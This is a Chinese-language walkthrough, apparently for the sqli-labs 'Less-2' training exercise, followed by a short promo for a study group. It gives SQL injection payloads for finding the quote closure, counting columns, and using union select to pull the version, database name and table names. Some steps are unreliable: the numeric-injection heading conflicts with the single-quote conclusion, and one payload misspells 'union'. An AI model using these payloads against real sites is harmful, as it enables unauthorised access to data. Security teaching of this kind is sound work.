Less-2(数字型注入)
3)若是字符型,判断闭合方式(数字型直接掠过)
闭合的作用,手工提交闭合符号,结束前一段查询语句后面即可加入其他语句,查询需要 的参数,不需要的语句可以用注释符号‘–+‘或者’#‘ 或 者’%23‘注释掉
闭合方式有下面几种 ’ " ') ")
先尝试?id=1’
浅浅分析一下报错信息,说你有错误的SQL语句在里面,并显示了报错信息就在下面这句话附近 ‘‘1’’ LIMIT 0,1’ 。
我们把这句话拿出来
’ ‘1’ ’ LIMIT 0,1 ',通过分析不难发现,多出来一个" ’ ",由此推断闭合方式应该是以单引号闭合。
4)判断字段列数
利用group by 或者 order by 采用二分法进行判断字段
?id=1’ group by 6 --+
?id=1’ group by 3 --+
判断可能有三列
5)查询回显位置
这里先介绍一种联合查询 union
?id=1’ union select 1,2,3–+
正常回显判断可能是因为只显示一行,这里我们使用?id=-1’ 或者 ?id=0’等进行尝试
?id=-1’union select 1,2,3–+
2,3的位置得到回显可以在2,3的位置进行查询注入
我们看一下当前数据库和版本信息,方便之后操作
?id=-1‘union select 1,version(),database()
6),拿表名和列名
Information_schema包含所以mysql数据库的简要信息其中,包含两个信息tables表名集合表和columns列名集合表
我们从phpadmin中查看一下
?id=-1’ union select 1,table_name,3 from information_schema.tables --+
一个一个找太麻烦,所以用一个group_concat,全部查询出来
group_concat 的作用是把查询到的所以信息再一行里全部显示
?id=-1’ uinon select 1,group_concat(table_name),3 from information_schema.tables --+
在里面找到自己想要的信息
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!